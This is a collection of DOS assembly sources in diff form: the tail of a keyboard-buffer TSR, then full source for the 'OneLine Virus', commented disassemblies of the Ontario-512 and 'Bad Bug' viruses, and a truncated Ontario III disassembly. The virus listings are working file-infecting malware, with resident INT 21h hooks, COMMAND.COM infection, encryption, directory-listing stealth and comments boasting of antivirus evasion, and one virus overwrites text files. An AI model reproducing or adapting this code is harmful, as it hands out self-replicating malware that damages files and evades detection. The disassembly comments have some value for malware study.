MOV FINISHED_FLAG,0 ; by setting Finished_Flag to 0.
NO_NEW_CHARACTERS:
POP AX ;Restore everything before departure.
POP BX
POP CX
POP DX
POP DI
POP SI
POP DS
STI
IRET ;An interrupt deserves an IRET
INTERCEPT_KEYBOARD_INT ENDP
ASSUME DS:CODE_SEG
INTERCEPT_TIMER PROC NEAR ;This completes filling the buffer
PUSHF ;Store used flags
PUSH DS ;Save DS since we'll change it
PUSH CS ;Put current value of CS into DS
POP DS
CALL ROM_TIMER ;Make obligatory call
PUSHF
CMP FINISHED_FLAG,1 ;Do we have to do anything?
JE OUT ;No, leave
CLI ;Yes, start by clearing interrupts
PUSH DS ;Save these.
PUSH SI
PUSH DX
PUSH BX
PUSH AX
ASSUME DS:ROM_BIOS_DATA ;Point to the keyboard buffer again.
MOV AX,ROM_BIOS_DATA
MOV DS,AX
MOV BX,ROM_BUFFER_TAIL ;Prepare to put charaters in at tail
MOV FINISHED_FLAG,1 ;Assume we'll finish
MOV SI,COMMAND_INDEX ;Find where we left ourselves
STUFF2: MOV AX,CS:[SI] ;The same stuff loop as above.
ADD SI,2 ;Point to next command character.
CMP AX,0 ;Is it zero? (end of command)
JNE OVER ;No, continue.
JMP NO_NEW_CHARACTERS2 ;Yes, leave with Finished_Flag=1
OVER: MOV DX,BX ;Find position in buffer from BX
ADD DX,2 ;Move to next position for this word
CMP DX,OFFSET KB_BUFFER_END ;Are we past the end?
JL NO_WRAP4 ;No, don't wrap
MOV DX,OFFSET KB_BUFFER ;Do the Wrap rap.
NO_WRAP4:
CMP DX,ROM_BUFFER_HEAD ;Buffer full but not yet done?
JE BUFFER_FULL2 ;Time to leave, come back later.
ADD COMMAND_INDEX,2 ;Point to next word of command.
MOV [BX],AX ;Put into buffer
ADD BX,2 ;Point to next space in buffer
CMP BX,OFFSET KB_BUFFER_END ;Wrap here?
JL NO_WRAP5 ;No, readjust buffer tail
MOV BX,OFFSET KB_BUFFER ;Yes, wrap
NO_WRAP5:
MOV ROM_BUFFER_TAIL,BX ;Reset buffer tail
JMP STUFF2 ;Back to stuff in another character
BUFFER_FULL2:
MOV FINISHED_FLAG,0 ;Set flag to not-done-yet.
NO_NEW_CHARACTERS2:
POP AX ;Restore these.
POP BX
POP DX
POP SI
POP DS
OUT: POPF ;And Exit.
POP DS
IRET ;With customary IRET
INTERCEPT_TIMER ENDP
INIT_VECTORS PROC NEAR ;Rest Interrupt vectors here
ASSUME DS:VECTORS
PUSH DS
MOV AX,VECTORS
MOV DS,AX
CLI ;Don't allow interrupts
MOV AX,KEYBOARD_INT_VECTOR ;Get and store old interrupt address
MOV ROM_KEYBOARD_INT,AX
MOV AX,KEYBOARD_INT_VECTOR[2]
MOV ROM_KEYBOARD_INT[2],AX
MOV KEYBOARD_INT_VECTOR,OFFSET INTERCEPT_KEYBOARD_INT
MOV KEYBOARD_INT_VECTOR[2],CS ;And put ours in place.
MOV AX,TIMER_VECTOR ;Now same for timer
MOV ROM_TIMER,AX
MOV AX,TIMER_VECTOR[2]
MOV ROM_TIMER[2],AX
MOV TIMER_VECTOR,OFFSET INTERCEPT_TIMER
MOV TIMER_VECTOR[2],CS ;And intercept that too.
STI
ASSUME DS:ROM_BIOS_DATA
MOV AX,ROM_BIOS_DATA
MOV DS,AX
MOV BX,OFFSET KB_BUFFER ;Clear the keyboard buffer.
MOV ROM_BUFFER_HEAD,BX
MOV ROM_BUFFER_TAIL,BX
MOV DX,OFFSET INIT_VECTORS ;Prepare to attach in memory
INT 27H ;And do so.
INIT_VECTORS ENDP
CODE_SEG ENDS
END BEGIN ;End Begin so that we jump there first.
@@ -0,0 +1,134 @@
; ------------------------------------------------------------
; -- The OneLine Virus --
; -- By Arsonic[CodeBreakers] --
; -- HTTP://CODEBREAKERS.SIMPLENET.COM --
; ------------------------------------------------------------
; Virus Info: This Virus is a 600 byte Long Encrypted Overwriting piece of
; shit. it will infect all *.com file in the current directory and overwrite
; the first line of all text files found with Famous Lines And Stuff..
; Detected By:
; TBAV: Says This is a Unknown Virus.. But Only on the First Generation.. :)
; FPROT: ??? did'n have it on my computer at the time of scanning..
; AVP: Nope.. Detected 3000 other virus's i got on my comp.. but not this one..
jmp crypt_start
start:
mov di,si
mov cx,crypt_start
call crypt
jmp crypt_start
crypt:
xorloop:
lodsb
xor al,byte ptr[xor_value]
stosb
loop xorloop
ret
xor_value db 0
crypt_start:
mov ah,4eh
lea dx,mask
int 21h
jnc infect
jmp text
infect:
mov ax,3d02h
mov dx,9eh
int 21h
mov bx,ax
; I suggest 'xchg bx,ax', because its only 1 byte, but thats your decision
in al,40h
mov byte ptr [xor_value],al
lea si,crypt_start
lea di,end
mov cx,end - crypt_start
call crypt
mov ah,40h
mov cx,crypt_start - start
lea dx,start
int 21h
mov ah,40h
mov cx,end - crypt_start
lea dx,end
int 21h
mov ah,3eh
int 21h
jmp find_next
find_next:
mov ah,3fh
int 21h
jnc infect
jmp text
text:
mov ah,4eh
lea dx,textmask
int 21h
jnc text_payload
jmp close
text_payload:
mov ax,3d02h
mov dx,9eh
int 21h
mov ah,40h
mov cx,message_end - message_start
lea dx,message_start
int 21h
mov ah,3fh
int 21h
jmp text_findnext
text_findnext:
mov ah,4fh
int 21h
jnc text_payload
jmp close
message_start:
db 'LEGALIZE CANNABUS!'
db 'HO HO HO.. NOW I HAVE A MACHINE GUN!'
db 'This is another 60 minutes...'
db 'Burn Baby, BURN!'
db 'Keep The Opressor Opressing..'
db 'Have U Had Your Break TodaY?'
db 'Oh I Wish I Was A Ocsar Myer Wiener!'
db 'What Came First The Chicken Or the Egg?'
db 'Help Me.. Help You!'
db 'SHOW ME THE MONEY!!'
db 'Take it Off Baby!'
db 'ADRIAN!!!!'
db 'Where do You Want To Go Today?'
db 'We Are the Shitty VR! VRLAND SUX SHIT!'
db 'INCOMING!!!!!!!! BOOOOOOOOOMMMMMM!'
message_end:
close:
int 20h
mask db '*.com',0
textmask db '*.txt',0
author db ' ARSONIC [CODEBREaKERS]',13,10,'$'
virus db 'THE OnELINE VIRUS',13,10,'$'
origin db 'PROUDLY MADE IN CANADA..',13,10,'$'
end:
@@ -0,0 +1,296 @@
;*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*
;-* Ontario-512 Virus *-
;*- ~~~~~~~~~~~~~~~~~~~ -*
;-* Disassmembly by: Rock Steady/NuKE *-
;*- ~~~~~~~~~~~~~~~~ -*
;-* Notes: Resident EXE and COM infector, will infect COMMAND.COM *-
;*- ~~~~~~ on execution. 512 bytes file increase, memory decrease -*
;-* of about 2,048 bytes. Anti-debugging, encrypted virus. *-
;*- -*
;-* (c) Copy-Ya-Rite [NuKE] Viral Development Labs '92 *-
;*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*
virus segment byte public
assume cs:virus, ds:virus
org 100h ;Guess its a COM File huh?
ont proc far
start:
jmp go4it ;Jump to beginning of the
db 1Dh ;Virus And start!
db 'fected [NuKE]''92', 0Dh, 0Ah, '$'
mov dx,0102h ;This is the small File the Virus
mov ah,09h ;is infected to! As you see it only
int 21h ;displays that messages and exits
int 20h ;Exit Command for COMs
go4it:
nop
call decrypt ;Get Decryption value & Decrypt viri
call virus_start ;Start the Virus!
ont endp
;---------------------------------------------------------------------;
; The Start of the Virus Code ;
;---------------------------------------------------------------------;
virus_start proc near
pop bp
sub bp,7
mov ax,0FFFFh ;Is Virus in Memory hooked on?
int 21h ;the Int 21h?
or ah,ah ;
jz bye_bye ;Yes it is... Quit then...
push ds
xor ax,ax
mov ds,ax
sub word ptr ds:413h,2
lds bx,dword ptr ds:84h
mov word ptr cs:[200h][bp],bx
mov word ptr cs:[202h][bp],ds
mov bx,es
dec bx
mov ds,bx
sub word ptr ds:3,80h
mov ax,ds:12h
sub ax,80h
mov ds:12h,ax
mov es,ax
push cs
pop ds
mov si,bp
xor di,di
mov cx,204h
cld
rep movsb
mov ds,cx
cli ;This is where we hook the
mov word ptr ds:84h,7Fh ;virus to the Int21h
mov word ptr ds:84h+2,ax
sti
mov ax,4BFFh
int 21h
pop ds
push ds
pop es
bye_bye:
or bp,bp
jz what
lea si,[bp+7Bh]
nop
mov di,offset ds:[100h]
push di
cld
movsw
movsw
retn
what:
mov ax,es
add cs:7dh,ax
;* jmp far ptr go4it7
virus_start endp
db 0EAh,0EBh, 15h, 49h, 6Eh
cmp ax,0FFFFh
jne new_21h
inc ax
iret
;---------------------------------------------------------------------;
; Interrupt 21h handler ;
;---------------------------------------------------------------------;
new_21h:
cmp ah,4Bh ;Test, is File beginning Executed!
jne leave_ok ;Nope! Call Int21!
cmp al,3 ;Overlay, beginning execute?
je leave_ok ;Yes! Leave it alone
cmp al,0FFh ;Virus testing to see if its alive?
jne do_it_man ;in memory?
push cs
pop ds
mov dx,1DDh
call infect
iret
do_it_man:
call infect ;Infect file dude...
leave_ok:
jmp dword ptr cs:[200h] ;Int21 handler..
;---------------------------------------------------------------------;
; Infection Routine for the Ontario Virus ;
;---------------------------------------------------------------------;
infect proc near
push es
push ds ;Save them not to fuck things up..
push dx
push cx
push bx
push ax
mov ax,4300h ;Here we get the file attribute
call int21 ;for file to be infected.
jc outta ;Bitch Error encountered. Quit!
test cl,1 ;Test if its Read-Only!
jz attrib_ok ;Ok, it ain't Read-Only Continue!
and cl,0FEh ;Set Read-Only to normal Attribs
mov ax,4301h ;Call Ints to do it...
call int21 ;Bingo! Done!
jc outta ;Error encountered? Split if yes!
attrib_ok:
mov ax,3D02h ;Open file for Read/Write
call int21 ;Call Interrupt to do it!
jnc open_ok ;no errors? Continue!
outta:
jmp go4it5 ;Hey, Split Man... Errors happened!
open_ok:
mov bx,ax ;BX=File Handle
push cs
pop ds
mov ax,5700h ;Get File's Date & Time
call int21 ;Do it!
mov word ptr ds:[204h],cx ;Save Time
mov word ptr ds:[206h],dx ;Save Date
mov dx,208h ;DX=Pointer
mov cx,1Bh ;CX=Number of Btyes
mov ah,3Fh ;Read From File
call int21 ;Do It!
jc go4it1 ;Errors? Quit if yes!
cmp word ptr ds:[208h],5A4Dh ;Check if files already
je go4it0 ;infected.
mov al,byte ptr ds:[209h] ;Com , Exes...
cmp al,byte ptr ds:[20Bh]
je go4it1
xor dx,dx
xor cx,cx
mov ax,4202h
call int21 ;Move File pointer to end of
jc go4it1 ;file to be infected.
cmp ax,0E000h ;File bigger than E000 bytes?
ja go4it1 ;Error...
push ax ;Save File Length
mov ax,word ptr ds:[208h]
mov ds:7bh,ax
mov ax,word ptr ds:[20Ah]
mov ds:7dh,ax
pop ax ;All this is, is a complex
sub ax,3 ;way to do "JMP"
mov byte ptr ds:[208h],0E9h ;
mov word ptr ds:[209h],ax
mov byte ptr ds:[20Bh],al
jmp short go4it3 ;File READY Infect it!
db 90h ;NOP me... detection string?
go4it0:
cmp word ptr ds:[21Ch],1
jne go4it2
go4it1:
jmp go4it4
go4it2:
mov ax,word ptr ds:[20Ch]
mov cx,200h
mul cx
push ax
push dx
mov cl,4
ror dx,cl
shr ax,cl
add ax,dx
sub ax,word ptr ds:[210h]
push ax
mov ax,word ptr ds:[21Ch]
mov ds:7bh,ax
mov ax,word ptr ds:[21Eh]
add ax,10h
mov ds:7dh,ax
pop ax ; This is continues with the
mov word ptr ds:[21Eh],ax ; above to put a JMP at the
mov word ptr ds:[21Ch],1 ; beginning of the file!
inc word ptr ds:[20Ch] ;
pop cx ;
pop dx ;
mov ax,4200h ;
call int21
jc go4it4
go4it3:
xor byte ptr ds:[1F8h],8 ;
xor ax,ax ; Theses Lines copy the
mov ds,ax ; virus code else where
mov al,ds:46Ch ; in memory to get it
push cs ; ready to infect the file
pop ds ; as we must encrypt it
push cs ; FIRST when we infect the
pop es ; file. so we'll encrypt
mov byte ptr ds:[1ECh],al ; this copy we're making!
xor si,si ; and append that to the
mov di,offset ds:[224h] ; end of the file
push di ;
mov cx,200h ;
cld ;
rep movsb
mov si,offset ds:[228h] ;Now Encrpyt that copy of the
call encrypt_decrypt ;virus we just made...
pop dx
mov cx,200h ;Write Virus to file!
mov ah,40h ;BX=Handle, CX=Bytes
call int21 ;DX=pointer to write buffer
jc go4it4 ;Duh? Check for errors!
xor cx,cx
xor dx,dx ;Now move pointer to beginning
mov ax,4200h ;of file.
call int21
jc go4it4 ;Duh? Check for errors!
mov dx,208h ;Write to file!
mov cx,1Bh ;CX=Bytes
mov ah,40h ;DX=pointes to buffer
call int21 ;Bah, HumBug
go4it4:
mov dx,word ptr ds:[206h] ;Leave no tracks...
mov cx,word ptr ds:[204h] ; puts back File TIME
mov ax,5701h ; and DATE! on file...
call int21 ;
mov ah,3Eh ;
call int21 ;Bah, HumBug...
go4it5:
pop ax ;Get lost...
pop bx
pop cx
pop dx
pop ds
pop es
retn
infect endp
;----------------------------------------------------------------------;
; The Original Interrupt 21h handler ;
;----------------------------------------------------------------------;
int21 proc near
pushf ;Fake an Int Call...
call dword ptr cs:[200h] ;Orignal Int21h Handler
retn
int21 endp
db 'C:\COMMAND.COM'
db 00h, 84h
;---------------------------------------------------------------------;
; The Simple, But VERY Effective Encryption Routine ;
;---------------------------------------------------------------------;
decrypt proc near
pop si
push si
mov al,byte ptr cs:[1E8h][si];INCRYPTION VALUE TO CHANGE!
encrypt_decrypt: ;and Virus will be UNDETECTABLE
mov cx,1E8h ; LENGTH OF VIRII! Change this!
loop_me: not al ; if you modief the virus!
xor cs:[si],al ;
inc si ;
loop loop_me ;
;
retn
decrypt endp
virus ends
end start
;------------------------------------------------------------------------
@@ -0,0 +1,355 @@
comment *
Older version of Bad Bug, also known as Ontario virus.
--> Written by Death Angel <--
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
This virus first puts itself in memory, if not already. Infects the
C:\COMMAND.COM file, then infects other files as they are loaded.
It appends itself onto COM and EXE files.
Identification method:
======================
Checking if already in memory - INT 21/AH=FF, returns AX=0
Checking if COM is infected - 4th byte in file "V"
Checking if EXE is infected - Instruction Pointer is at 1
*
LOC_21 EQU 21H*4
REAL_SIZE equ offset EOF
CODE SEGMENT PARA PUBLIC 'CODE'
ASSUME CS:CODE, DS:CODE
ORG 0h
VBUG PROC FAR
nop
call MASTER_UNCODE
VB01:
call VB00
VB00:
pop bp
sub BP, +7
mov ax, -1
int 21h
or ah, ah
je GO_PROG
push ds
xor ax, ax
mov ds, ax ;BIOS data area
sub word ptr ds:[0413H], 2
lds bx, ds:[LOC_21]
mov word ptr cs:[BP]+offset OLD_21, bx
mov word ptr cs:[BP]+offset OLD_21+2, ds ;Get interrupt 21h vector
mov bx, es
dec bx
mov ds, bx
sub word ptr ds:[0003H], 2048/16 ;Paragraph size
mov ax, ds:[0012H] ;Get high memory segment
sub ax, 2048/16 ;Make room for ourself
mov ds:[0012H], ax ;Save it
mov es, ax
push cs
pop ds
mov si, bp ;Put 0000 into SI (if EXE..)
xor di, di
mov cx, REAL_SIZE+4 ;Plus OLD_21 information!
cld
rep movsb
mov ds, cx ;Put zero into DS
cli ;Disable maskable interrupts
mov word ptr ds:LOC_21, offset NEW_21
mov word ptr ds:LOC_21+2, ax
sti ;Enable interrupts
mov ax, 4BFFH ;Infect COMMAND.COM file!
int 21h
pop ds
push ds
pop es
GO_PROG: ;Check if EXE or COM program?
or bp, bp ;Are we an EXE file?
je RUN_EXE
RUN_COM: ;Run this infected .COM file
lea si, [BP]+offset RUN_PROG
mov di, 100H
push di
cld
movsw
movsw
DUMB_ROUTINE PROC NEAR
ret ;Do a local return
DUMB_ROUTINE ENDP
RUN_EXE:
mov ax, es ;Get PSP segment
add cs:word ptr RUN_PROG+2, ax ;Reallocate entry segment
db 0EAh ;JMP 0000:0000
RUN_PROG db 0B4H, 04CH
db 0CDH, 021H
NEW_21:
cmp ax, -1
jne NW00
inc ax ;Overflow to 0000
iret
NW00:
cmp ah, 4Bh ;Infect program being executed
jne RUN_OLD_21
cmp al, 03
je RUN_OLD_21
cmp al, -1
jne RO00
push cs
pop ds
mov dx, offset COMMAND_FILE
call INFECT_PROGRAM
IRET
RO00:
call INFECT_PROGRAM
RUN_OLD_21:
jmp dword ptr cs:OLD_21 ;Do original interrupt
INFECT_PROGRAM PROC NEAR
;
;When entering a normal Int 21/AH=4BH
;DS:DX -> Ptr to filename
;ES:BX -> Ptr to Parm Block
;AL -> 0 - Load/Run, 3 - Overlay
;
push es
push ds
push dx
push cx
push bx
push ax
; push si
; push di
mov ax, 4300H ;Get file attribute
call DO_21
jb NO_CLOSE
test cl, 00000001b
je VB04
and cl, 11111110b ;Turn off bit 0 (so you can write)
mov ax, 4301H ;Set file attribute
call DO_21
jb NO_CLOSE
VB04:
mov ax, 3D02h ;Open file for reading & writing
call DO_21
VB05:
JNB VB06
NO_CLOSE:
JMP END_21
VB06:
mov bx, ax ;Put new handle into BX
push cs
pop ds
mov ax, 5700H ;Get file date
call DO_21
mov ds:FILE_TIME, cx
mov ds:FILE_DATE, dx
mov dx, offset TMP_HEADER ;Load in COM/EXE ? file header
mov cx, 1BH ;Size of header (for EXE, it doesn't
;matter the extra bytes loaded for
;COM files.
mov ah, 3Fh ;Read from file
call DO_21
VB10:
jb CLOSE_END
cmp word ptr ds:SIGN, 'ZM' ;Is this an EXE file? (MZ)
je INFECT_EXE
INFECT_COM:
mov al, byte ptr SIGN+1
cmp al, byte ptr SIGN+3
je CLOSE_END
xor dx, dx
xor cx, cx
mov ax, 4202H ;Seek from EOF
call DO_21
VB15:
jb CLOSE_END
;Returns DX:AX number of bytes seeked (Size of file)
cmp ax, 0E000H ;Check file size
ja CLOSE_END
push ax
mov ax, ds:word ptr [SIGN+0]
mov word ptr ds:RUN_PROG+0, ax
mov ax, ds:word ptr [SIGN+2]
mov word ptr ds:RUN_PROG+2, ax
pop ax
sub ax, 3 ;Calculate jmp to End of file
mov byte ptr ds:SIGN+0, 0E9H ;JMP FAR
mov word ptr ds:SIGN+1, ax
mov byte ptr ds:SIGN+3, al ;Identification code
jmp FINISH_INFECT
;From here in, both EXE & COM files are infected the same
;The virus is written, seek to start of file, and re-write the Header
INFECT_EXE:
cmp word ptr ds:START_IP, 1
jne VB19
VB18:
CLOSE_END:
jmp END_INFECT
VB19:
mov ax, ds:[FILE_SIZE] ;Get file size
mov cx, 200H
mul cx ;Convert to bytes offset
;If filesize, if bigger then 64K, the overflow is put into DX
push ax
push dx
mov cl, 04h
ror dx, cl
shr ax, cl ;Convert to paragraphs
add ax, dx
sub ax, ds:SIZE_HEADER
PUSH AX
mov ax, ds:START_IP
mov word ptr ds:RUN_PROG, ax
mov ax, ds:START_CS
add ax, 0010H
mov word ptr ds:RUN_PROG+2, ax
POP AX
mov word ptr ds:START_CS, ax
mov word ptr ds:START_IP, +1
inc word ptr ds:FILE_SIZE
pop cx
pop dx
mov ax, 4200H ;Goto end of file
call DO_21
VB20:
jb VB25
FINISH_INFECT:
xor ds:byte ptr [DC00]+1, 08h ;Toggle NEG/NOT
xor ax, ax
mov ds, ax
mov AL, byte ptr ds:[46CH] ;Lowest byte of timer count
push cs
pop ds
push cs
pop es
mov ds:[CODE_BYTE], AL ;Put high byte of file seek
xor si, si
mov di, offset REAL_EOF
push di ;Push pointer
mov cx, offset EOF
cld
rep movsb
mov si, offset REAL_EOF+04H ;REAL_EOF+VB01
call DECODE
pop dx ;Restore pointer
mov cx, REAL_SIZE
mov ah, 40h
call DO_21
JB END_INFECT
xor cx, cx
xor dx, dx ;Distance to seek into file
mov ax, 4200h ;Seek from start of file
call DO_21
jb END_INFECT
mov dx, offset TMP_HEADER ;Ptr to New modified header
mov cx, 1BH ;Size of header
mov ah, 40h ;Write to file
call DO_21
VB25:
END_INFECT:
mov dx, ds:FILE_DATE
mov cx, ds:FILE_TIME
mov ax, 5701h ;Set file date/time
call DO_21
CLOSE_FILE:
mov ah, 3Eh ;Close the file
call DO_21
END_21:
; pop di
; pop si
pop ax
pop bx
pop cx
pop dx
pop ds
pop es
RET
DO_21:
pushf
call dword ptr cs:OLD_21
ret
COMMAND_FILE DB 'C:\COMMAND.COM',0
MASTER_DECODE:
CODE_BYTE DB 80H
MASTER_UNCODE:
POP SI
PUSH SI
MOV AL, BYTE PTR CS:[SI+CODE_BYTE-OFFSET VB01]
DECODE:
MOV CX, OFFSET MASTER_DECODE-OFFSET VB01
DC00:
NOT AL
XOR CS:BYTE PTR [SI], AL
INC SI
LOOP DC00
RET
INFECT_PROGRAM ENDP
EOF:
OLD_21 DD ?
FILE_TIME DW ?
FILE_DATE DW ?
TMP_HEADER:
SIGN DW ?
LEN_IMAGE_MOD DW ?
FILE_SIZE DW ? ;In 512-increments
NUM_REAL DW ?
SIZE_HEADER DW ?
MIN_ABOVE DW ?
MAX_ABOVE DW ?
STACK_SS DW ?
STACK_SP DW ?
CHECKSUM DW ?
START_IP DW ?
START_CS DW ?
DISPLAY_REAL DW ?
OVERLAY_NUM DW ?
REAL_EOF:
VBUG ENDP
CODE ENDS
END VBUG
@@ -0,0 +1,993 @@
.model tiny
.code
; Ontario III
; Disassembly by Dark Angel of Phalcon/Skism
; Assemble with TASM /m ONTARIO3.ASM
; Virus written by Death Angel of YAM
org 0
decrypt:
patch1:
mov di,offset endvirus ; usually: offset enddecrypt
patch2 = $ - 2
patch3 = $
mov cx,37E5h
patch4 = $ - 2
patch5:
db 82h, 0C5h, 0D0h ; add ch,0D0h
patch6 = $ - 1
patch7:
mov al,0Ah
patch8 = $ - 1
decrypt_loop:
add cs:[di],al
patch9 = $ - 1
patch10:
ror al,cl
patch11 = $ - 1
patch12:
inc di
patch13:
loop decrypt_loop
enddecrypt:
patch14:
db 89h, 0FBh ; mov bx,di
patch15 = $ - 1
sub bx,offset save4
xchg ax,cx
dec ax
cld
call saveorigvectors
db 0e9h ; jmp
SYSpatch dw 0 ; currently jmp to next line
int 21h ; installation check
or al,ah
jz restorefile
push ds
mov cx,bx
mov di,ds ; save current ds
mov ah,13h ; get BIOS int 13h handler
int 2Fh ; to ds:dx and es:bx
mov si,ds ; does function function?
cmp si,di
je skipit
push ds
push dx
mov ah,13h ; restore handler
int 2Fh
mov bx,cx ; but save its address too
pop word ptr cs:[bx+storeint13_1]
pop word ptr cs:[bx+storeint13_2]
skipit:
xor di,di
mov cx,es
dec cx
mov ds,cx ; get MCB of current program
sub word ptr [di+3],140h ; decrease size by 5K
mov ax,[di+12h] ; get high memory from PSP
sub ax,140h ; decrease size by 5K
mov [di+12h],ax ; replace it
mov es,ax ; es->high memory segment
sub ax,1000h
mov word ptr cs:[bx+patchsegment],ax
push cs
pop ds
mov si,bx
mov cx,offset save4
rep movsb
mov ds,cx
cli
mov word ptr ds:21h*4,offset int21 ; set int 21h handler
mov ds:21h*4+2,es ; to virus's
sti
mov ax,4BFFh ; infect COMSPEC
push bx
int 21h
pop bx
pop ds
push ds
pop es
restorefile:
lea si,[bx+offset save4]
mov di,100h
cmp bx,di
jb restoreEXE
push di
movsw
movsw
retn
restoreEXE:
mov ax,es ; get start segment
add ax,10h ; adjust for PSP
add cs:[si+2],ax ; relocate CS
add cs:[si+4],ax ; relocate SS
cli
mov sp,cs:[si+6] ; restore stack
mov ss,cs:[si+4]
sti
jmp dword ptr cs:[si]
int21instcheck:
inc ax
iret
int21:
cmp ax,0FFFFh ; installation check?
je int21instcheck
cmp ah,4Bh ; execute?
je execute
cmp ah,11h ; FCB find first?
je findfirstnext
cmp ah,12h ; FCB find next?
je findfirstnext
cmp ax,3D00h ; open file read only?
jne int21exit
call handleopen
int21exit:
db 0EAh ; jmp far ptr
oldint21 dd 0
findfirstnext: ; standard stealth routine
push bp
mov bp,sp
cmp word ptr [bp+4],1234h
patchsegment = $ - 2
pop bp
jb int21exit
call callint21 ; do findfirst/next
call pushall
mov ah,2Fh ; Get DTA
call callint21
cmp byte ptr es:[bx],0FFh ; extended FCB?
je findfirstnextnotextendedFCB
sub bx,7 ; convert to standard
findfirstnextnotextendedFCB:
mov al,es:[bx+1Eh] ; get seconds counter
and al,1Fh ; check if 62 seconds
cmp al,1Fh ; (infection marker)
jne findfirstnextexit ; exit if not
mov dx,es:[bx+26h] ; get file size
mov ax,es:[bx+24h]
sub ax,viruslength ; decrease by virus
sbb dx,0 ; size
or dx,dx
jc findfirstnextexit
mov es:[bx+26h],dx ; replace file size
mov es:[bx+24h],ax ; with "stealthed" one
findfirstnextexit:
call popall
iret
execute:
mov byte ptr cs:infectSYS,0
cmp al,1 ; load/don't execute
je load_noexecute
cmp al,0FFh ; called by virus
je infectCOMSPEC
call infectDSDX
jmp short int21exit
infectCOMMANDCOM:
mov byte ptr cs:infectSYS,0
push dx
push ds
mov dx,offset command_com
push cs
pop ds
mov byte ptr ds:infCOMMAND,0FFh ; infecting COMMAND.COM
call infectDSDX
pop ds
pop dx
iret
infectCOMSPEC:
mov ah,51h ; Get current PSP
call callint21
mov es,bx
mov ds,es:[2Ch] ; environment block
xor si,si
push cs
pop es
infectCOMSPECfindcomspec:
mov di,offset comspec ; is 'COMSPEC=' the first
mov cx,4 ; entry in environment?
repe cmpsw ; (should be)
jcxz infectCOMSPECnoenvironment ; otherwise, quit
infectCOMSPECfindend:
lodsb ; search for end of string
or al,al
jnz infectCOMSPECfindend
cmp byte ptr [si],0 ; found it?
jne infectCOMSPECfindcomspec; nope, try again
jmp short infectCOMMANDCOM ; otherwise, infect
infectCOMSPECnoenvironment:
mov dx,si
mov byte ptr cs:infCOMMAND,0FFh ; infecting COMMAND.COM
call infectDSDX ; but are we really? Maybe
iret ; it's 4DOS. This is a bug.
load_noexecute:
push es ; save parameter block
push bx
call callint21 ; prechain
pop bx
pop es
call pushall
jnc load_noexecute_ok ; continue if no error
jmp load_noexecute_exit
load_noexecute_ok:
xor cx,cx
lds si,dword ptr es:[bx+12h]; get entry point on return
push ds
push si
mov di,100h
cmp si,di
jl loading_EXE
ja load_noexecute_quit
; debugger active
lodsb
cmp al,0E9h ; check if infected
jne load_noexecute_quit
lodsw
push ax ; save jmp location
lodsb
cmp al,'O' ; check for infection marker
pop si ; get jmp location
jnz load_noexecute_quit
add si,103h ; convert to file offset
inc cx
inc cx
pop ax
push si
push ds
pop es
jmp short check_infection
loading_EXE:
lea di,[bx+0Eh] ; check SS:SP on return
cmp word ptr es:[di],9FFh ; infected?
jne load_noexecute_quit
check_infection:
lodsb
cmp al,0BBh ; possibility 1
je infected_checked1
cmp al,0BEh ; possibility 2
je infected_checked1
cmp al,0BFh ; possibility 3
jne load_noexecute_quit
infected_checked1:
lodsw ; get starting offset
push ax ; to decrypt
lodsb ; get next byte
cmp al,0B9h ; check for infection
lodsw
pop si ; offset to decrypt
jnz load_noexecute_quit
cmp ah,7 ; check if infected
je infected_checked2
cmp al,0E5h ; ditto
jne load_noexecute_quit
infected_checked2:
add si,save4 - enddecrypt
jcxz disinfectEXE
rep movsw
jmp short finish_disinfection
disinfectEXE:
mov ah,51h ; Get current PSP
call callint21
add bx,10h ; go to file starting CS
mov ax,[si+6]
dec ax
dec ax
stosw
mov ax,[si+4]
add ax,bx
stosw
movsw
lodsw
add ax,bx
stosw
finish_disinfection:
pop di
pop es
xchg ax,cx
mov cx,viruslength
rep stosb
jmp short load_noexecute_exit
load_noexecute_quit:
pop ax
pop ax
load_noexecute_exit:
call popall
retf 2
handleopen:
call pushall
mov si,dx ; find extension of
handleopenscanloop: ; ASCIIZ string
lodsb
or al,al ; found end of screen?
jz handleopenexit ; yup, no extension -- exit
cmp al,'.' ; extension found?
jne handleopenscanloop
mov di,offset validextensions - 3
push cs
pop es
mov cx,4
nop
scanvalidextension:
push cx
push si
mov cl,3
add di,cx
push di
check_extension:
lodsb
and al,5Fh ; Capitalise
cmp al,es:[di] ; do they compare ok?
jne extension_no_match ; nope, try next one
inc di
loop check_extension
cmp al,'S' ; SYS file?
jne opennotSYS
mov byte ptr cs:infectSYS,0FFh ; infecting SYS file
opennotSYS:
call infectDSDX
add sp,6
jmp short handleopenexit
extension_no_match:
pop di
pop si
pop cx
loop scanvalidextension
handleopenexit:
call popall
retn
infectDSDX:
call pushall
call replaceint13and24
push dx
push ds
mov ax,4300h ; get attributes
call callint21
push cx
pushf
jc go_restoreattribs
push cx
and cl,1 ; check if read only
cmp cl,1
jne infectDSDXnoclearattributes
xor cx,cx ; clear if so
mov ax,4301h
call callint21
infectDSDXnoclearattributes:
pop cx
and cl,4
cmp cl,4
je go_restoreattribs
mov ax,3D02h ; open file read/write
call callint21
jnc infectDSDXopenOK ; continue if no error
go_restoreattribs:
jmp infectDSDXrestoreattributes
infectDSDXopenOK:
xchg ax,bx ; handle to bx
push cs
push cs
pop ds
pop es
mov word ptr ds:SYSpatch,0
mov ax,5700h ; save file time/date
call callint21
push dx
push cx
and cl,1Fh ; check if infected
cmp cl,1Fh ; (seconds == 62)
je infectDSDXerror
mov dx,offset readbuffer ; read header from
mov cx,1Ch ; potential carrier
mov ah,3Fh ; file to the
call callint21 ; buffer
jnc infectDSDXreadOK ; continue if no error
infectDSDXerror:
stc ; mark error
jmp infectDSDXclose ; and exit
infectDSDXreadOK:
cmp ax,cx ; read 1ch bytes?
jne infectDSDXerror ; exit if not
xor dx,dx
mov cx,dx
mov ax,4202h ; go to end of file
call callint21
or dx,dx
jnz infectDSDXfilelargeenough
cmp ax,0A01h ; check if too small
jb infectDSDXerror
infectDSDXfilelargeenough:
cmp dl,5
ja infectDSDXerror
cmp word ptr ds:readbuffer,'ZM' ; EXE?
je infectDSDXskipcheck
cmp word ptr ds:readbuffer,'MZ' ; EXE?
infectDSDXskipcheck:
je infectDSDXcheckEXE
cmp byte ptr ds:infectSYS,0FFh ; infecting SYS file?
